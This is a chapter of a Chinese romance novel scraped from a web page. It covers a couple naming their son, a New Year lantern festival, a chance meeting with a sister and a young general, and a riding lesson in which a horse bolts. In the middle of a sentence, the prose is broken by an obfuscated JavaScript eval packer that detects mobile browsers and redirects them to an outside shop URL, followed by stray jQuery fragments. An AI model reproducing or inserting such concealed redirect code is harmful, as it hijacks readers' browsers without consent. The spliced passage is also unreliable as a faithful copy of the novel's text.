文趣网 > 其他小说 > 朱门逢玉 > 38. 年节
    窦瑾开春时产下一子,阖府欢喜得不得了,周鸢每日都来看窦瑾和孩子,就连尉婉也忍不住对这孩子轻声细语起来,林氏更是抱着那孩子喜爱的紧。

    窦瑾让尉珩给这孩子取个名字,尉珩却迟迟没落定,窦瑾将养了几日身子,终于忍不住问尉珩怎的还未给孩儿取名。

    尉珩不言,看着窦瑾虚弱的样子,说道:“阿瑾,我们就只要这一个孩子好不好?”

    窦瑾愣住了,问道:“可是多几个孩儿不好么,这样也热闹。”

    “不想,我小时候也是兄妹三人,先前也没什么热闹的。”尉珩像是有些排斥,很急色地说道。

    窦瑾有些落寞,说道:“你是不是不喜欢我同你的这个孩儿?”

    尉珩生怕窦瑾误会,坐在塌边牵起窦瑾的手说道:“阿瑾,娘不止有我一个孩儿,陛下也不止有我这一个臣子。”

    顿了顿,尉珩又看着窦瑾说道:“我是想说,只有你,是我一个人的妻,我先前不知生产如此凶险,你生产那日我便想,若是能换你平安,不要这孩儿又何妨?”

    窦瑾愣愣的没说出话来,良久,她说道:“可是我心悦夫君。”

    “心悦尉珩,所以祖母问我时,我同意了这门亲事,心悦尉珩,所以我愿意为了我们的孩儿承受一切辛苦,而你也从来没让我失望过不是么?”窦瑾定定看着尉珩说道。

    “不过夫君说的对,我只是你一人的妻。”窦瑾说完,轻轻拥住尉珩,说道:“既然这般,那我为他起名可好。”

    尉珩三两下便被窦瑾哄得乱了心神,只得点头,窦瑾接着说道:“就叫他尉礼,我还记得刚得知有这个孩儿的时候,并非我意料之中,但是那时的他,是我这一生中最郑重的一场慰藉。”

    窦瑾说完,眼睛亮的不像话,尉珩看向身旁小床上放着的那个孩子,心底默念了几遍尉礼,又想起那时窦瑾以为他身死后,这个孩子恰好到来,或许这便是上天的旨意,随后轻轻地点了点头。

    自那之后,窦瑾就时常看到尉珩小心翼翼地抱着小礼儿慢慢地在地上走啊走。

    尉礼在腹中时闹腾,但自出生以来却乖巧地不行,几乎不怎么哭闹,窦瑾每次见到尉珩抱着尉礼时那全身绷紧的样子,便有些好笑。

    饶是这样,小礼儿一点也不怕尉珩冷冷的样子,尉珩一抱他,他便咯咯的笑。

    ……

    又是新的一年,等窦瑾他们逐渐熟悉了洛阳的风土,又恰逢年节,这洛阳城内,腊鼓催春,年画映彩,灯市上车马拥挤,人流如织。

    “阿瑾,你写的什么愿望?”尉珩好奇的看向窦瑾手中的祈愿灯。

    在洛阳桥畔,许多人都在这里祈福许愿,窦瑾和尉珩自然也出来凑热闹了。

    此时窦瑾神神秘秘地转过身去,没让尉珩看到,说道:“许愿不能告诉别人的,那样就不灵了。”

    尉珩落寞的点点头,随后又说道:“谁想要看了,我没有。”

    窦瑾却趁他转身,拿着花灯,笑着倾身到尉珩身边,说道:“是不能告诉别人,你是我夫君,自然无碍喽,可是我写了一半不会写了,夫君帮我如何?”

    尉珩抬手假装咳嗽了一声,说道:“那我看看。”

    窦瑾将花灯递给他,上面写着——窦瑾尉珩,此生平安,而此时尉珩名字后的那一块,却缺了一块地方出来。

    尉珩想到一年前在承德寺之时,看向窦瑾,窦瑾笑着示意,尉珩站在窦瑾身后,用他的手引着窦瑾的手,慢慢写下尉礼两个字。

    小礼儿还太小,在府中歇着,不能带他出来,不过无碍,待明年便能三人同行了。

    “好了,我们一起放?”窦瑾满意地看着这祈愿灯,握着尉珩的手,同他一起将这灯一同放进了这灯河中,看它平平稳稳地飘远。

    尉珩和窦瑾十指相扣,在桥上慢步走着,迎面却撞上了两个意想不到的人。

    “裴旸?”“婉儿?”

    窦瑾和尉珩不约而同的一起出声道。

    婉儿不是同她说今日一个人出来么,怎的会和裴旸在一起,再说,裴小将军不该在京中,这怎的会来了洛阳?

    “兄长,嫂嫂。”尉婉行礼后,便转头说道:“走啊,不是要让我陪你去看刀?”

    听闻此言,窦瑾看向裴旸,过年节,你让婉儿陪你看刀?

    看着尉珩像刀子般的眼神和窦瑾那疑惑不解的神色,裴旸心中苦,他后悔了,自从尉婉走后,他便不知怎的,在京中每日心不在焉的,被裴远发现后,用军棍打了一顿,他只好实话实说。

    得知裴旸想和尉婉练刀的时候,裴远看裴旸的眼神有些奇怪,裴旸连连解释他没有非分之想,但就是觉得和别人练刀很没劲。

    恰巧圣上要命人向洛阳押送一批漕粮,裴旸想也没想,主动揽了这差事,即刻出发了,他很想见到尉婉,同她再打一场。

    但谁知到了洛阳恰巧年节,打打杀杀总归不太好,他交代了差事便打听到尉婉的住处,恰巧碰到尉婉出府,便请她一起去铁器铺看刀。

    尉珩和窦瑾得知来龙去脉后,窦瑾看向尉婉,她面上看不出什么,再看裴旸,无奈扶了扶额,尉珩也看了裴旸一眼,像在看傻子。

    裴旸不明所以,他们这是什么意思?

    一个姑娘,不管做什么,能在年节的时候同你一起出行,你不知晓什么意思么?而且你来之前那般心路,那是已经坠入爱河了啊裴小将军。

    尉珩和窦瑾倒是不担心尉婉,只希望到时候尉婉下手轻些便是了,四人从桥上分道两头。

    “你要带我去哪啊?”窦瑾问道。

    尉珩方才许愿后,便说要带她去一个地方,这遇到裴小将军和婉儿后,差些都忘了。

    走出灯市,来到一棵老槐树下,那里绑着一匹毛发干净,油光发亮的马,窦瑾惊讶地看向身后的尉珩说道:“这是?”

    “送你的,京城之时,答应教你骑马,但后来有了礼儿,我便没提起此事。”尉珩笑着说道。

    窦瑾都快忘了此事,没想到尉珩竟然还放在心里,难怪今日出门,尉珩给她选了一件收袖的衣裳。

    这马是尉珩千挑万选出来的,但好马大多需要主人的驯服,起初

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832713|209441||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不甚温顺,尉珩要带窦瑾去安业坊,那里备好了几匹略温顺的马,现在他先带着她,让她找找要领便是。

    窦瑾走上前去,摸了摸马鬃,这马十分有灵性,已然认得尉珩了,此时很乖,尉珩到窦瑾身后问道:“准备好了吗?”

    窦瑾有些紧张,说道:“好了。”

    下一瞬,窦瑾感觉一下便腾空而起,尉珩从身后将她抱起,她趴在马背上握住缰绳,尉珩蹲下身让窦瑾踩着自己的肩膀借力,随后他翻身上马,坐在窦瑾身后轻声说道:“抓紧缰绳,先用腿内侧夹紧马腹。”

    窦瑾如数照做,尉珩拥着窦瑾,抓着她的手,一步步教她如何保持上身正直,不被颠下来。

    待快到安业坊时,窦瑾已然放松下来,能够完全按照尉珩教的做好。

    “还要控速,人随马背,用指令让马儿走,停,快,慢。”尉珩说罢,悄悄放开手,让窦瑾自己控制缰绳,但窦瑾一直都没发现,待她发现,已然到了安业坊。

    “尉珩,我们到了!”窦瑾兴奋地说道,但突然感受到尉珩是搂着她腰的,缰绳只有她自己握着。

    尉珩此时紧紧拥着窦瑾,将下巴抵在窦瑾肩上,赞叹道:“不愧是阿瑾,如此聪慧,一下便学会了。”

    到了马场,尉珩将那两匹准备好的马牵过来,让窦瑾先行独自尝试,刚开始,窦瑾还是走的很稳的,但突然,那马却突然受惊,疾驰起来,窦瑾惊呼一声,一下子慌了心神。

    尉珩见状迅速赶上,随后两马共同疾驰,窦瑾赶忙说道:“阿瑾,无碍,它只是不知怎的有些受惊,你收紧缰绳,慢慢让它停下来。”

    这马不是发狂,只是不知为何突然跑了起来,但对于窦瑾这般方才开始学骑马的人来说,很容易摔下马去。

    窦瑾定了定心神,收紧了缰绳,但她还是感觉有些控不住马,速度是稍有慢下来了,但这马一转弯,窦瑾身子一斜,整个人便快要摔下马去,尉珩侧身伸手扶了一把窦瑾,随后又快速摆正身体。

    这马场主人此时也来了,马的速度慢了下来,尉珩看准时机,飞身上马到窦瑾身后,将马慢慢控停。

    窦瑾拍着胸口,尉珩将人带下马,仔细查看着,随后问道:“可有伤到?”

    “并未伤到,就是有些吓到了,不过还好有你。”窦瑾拍了拍胸口,马场主人来了,接连陪着不是,这马是新到的一匹,和尉珩先前选的那几只混了,还未驯养,到了新地不知为何这般。

    窦瑾轻声说无碍,尉珩让人去核实,如此巧合,身在洛阳竟还有人想害窦瑾。

    回程路上,尉珩说道:“都是我不好,未能再仔细检查一番,娘子受惊了。”

    窦瑾笑着回道:“学习骑马,本来就有可能会受伤嘛,是马儿这般,又不是夫君让我受伤,无碍。”

    见尉珩还是有些自责,窦瑾说道:“今日高兴,回去我同你喝洛阳春可好?”

    得知生产完还是不能喝酒的尉珩,已经快一年未让她碰酒了,今夜正好,小酌怡情。

    看着她兴冲冲的摸样,尉珩说道:“好,都依娘子。”